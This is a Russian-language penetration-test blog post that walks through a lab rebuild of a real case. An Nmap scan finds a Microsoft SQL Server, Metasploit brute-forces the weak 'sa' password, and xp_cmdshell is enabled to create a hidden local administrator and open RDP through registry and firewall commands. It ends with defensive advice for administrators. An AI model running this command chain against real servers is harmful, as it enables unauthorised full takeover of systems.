Материал просмотрен 326 раз(а)

В продолжении предыдущего поста, хотелось бы рассказать ещё об одном кейсе, как удалось раскрутить небольшую брешь в защите в полноценный захват сервера.

Чтобы вы сразу решили, стоит ли тратить время на чтение статьи, напишу краткое содержание. Если не интересно – можете смело закрывать статью.

Итак, оказалось, что администраторы разворачивали Microsoft SQL Server под какие-то нужды со слабым паролем “sa” на аутентификацию. Про этот сервер благополучно забыли, а мы его обнаружили. Успешно подобрали пароль пользователя. Подключились к данному серверу и обнаружили, что он работает с правами системы. Исполняя определённые команды добились того, что создали локального пользователя с правами администратора, подключились по RDP и захватили полный контроль над системой.

Ну что? Остаётесь? Специально для данной статьи я воссоздал на виртуальных машинах тот сценарий, который имел место быть в этом кейсе.

Этап 1. Разведка

На данном этапе при помощи уже привычного сканера Nmap. Запускаем сканирование с параметрами:

# nmap -p1433 -sV --open 192.168.100.0/24

Обнаружился сервер Microsoft SQL Server 2008 R2 10.50.4000; SP2,

Этап 2. Подбор пароля к Microsoft SQL

Для этих целей воспользуемся Metasploit Framework в нашем Kali Linux. Докачаем предварительно словарик популярных паролей rockyou.txt:

# git clone git://git.kali.org/packages/wordlists.git
# cd wordlists/
# gunzip rockyou.txt.gz

Затем воспользуемся консолью Metasploit:

# msfconsole

Выполним поиск по ключевому слову mssql:

# search mssql

Нам подойдёт скрипт логина, находящийся в разделе auxiliary/scanner/mssql/mssql_login

# use auxiliary/scanner/mssql/mssql_login

Установим следующие опции:

  • IP-адрес “жертвы”:

# set RHOSTS 192.168.100.99

  • Имя пользователя: sa

# set USERNAME sa

  • Словарь паролей:

# set PASS_FILE /root/wordlists/rockyou.txt

Атакуем:

# run

Перебор занимает некоторое время, в результате чего нашли учётную запись sa:1234 – словарный пароль, к тому же очень простой! Администраторы решили не заморачиваться, либо забыли поменять.

Этап 3. Подключаемся к серверу и развиваем атаку

Для подключения к серверу с полученными на предыдущем шаге учётными данными воспользуемся Microsoft SQL Server Management Studio любой свежей версии. Введём IP сервера, логин “sa” и пароль “1234”.

Подключившись к серверу откроем любую базу данных и перейдём в раздел “New Query” – новый запрос.

Выполним следующую команду, чтобы узнать пользователя, от имени которого работает сервер:

EXEC xp_cmdshell 'whoami.exe';

Команда выполнилась с ошибкой, значит на сервере выполнение команд оболочки заблокировано. Не беда, перенастроим сервер:

use master;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;


Теперь можем выполнить команду whoami и увидим, что мы работаем с правами NT_AUTHORITY\система:

EXEC xp_cmdshell 'whoami.exe';


Создадим локального администратора:

EXEC xp_cmdshell 'net user litladmin litladmin123 /add';
EXEC xp_cmdshell 'net localgroup /add Администраторы litladmin';


Возможно потребуется выполнить следующее:

EXEC xp_cmdshell 'net localgroup /add "Пользователи удаленного рабочего стола" litladmin';

Команда успешно выполнена. Пробуем подключиться к RDP-сессии:

> mstsc -v: 192.168.100.99 /console /admin

Не получилось. Видим стоит запрет на доступ к удалённому рабочему столу. Ну ничего, это мы обойдём!

EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f';
EXEC xp_cmdshell 'net stop Termservice';
EXEC xp_cmdshell 'net start Termservice';
EXEC xp_cmdshell 'netsh advfirewall firewall add rule name="RDPEnable" dir=in protocol=TCP localport=3389 action=allow';

Пробуем снова.

Получилось!

В результате имеем удалённый доступ на сервер с правами локального администратора.
Смонтировал небольшой видеоролик с пояснениями – смотрите! Если понравилось, жмите лайк!

Выводы

  1. Сисадминам нужно провести инвентаризацию сети в поисках “забытых” Microsoft SQL Server-ов, заглушить неиспользуемые;
  2. Установить достаточно криптостойкие пароли на пользователя sa, где требуется совмещённый режим аутентификации;
  3. По возможности избегать использования рабочих служб, запущенных с правами системы.

Понравилось? Считаете материал полезным? Сделайте пожалуйста репост и поставьте лайк! Это лучшая награда для меня. Всех благ! Be secure!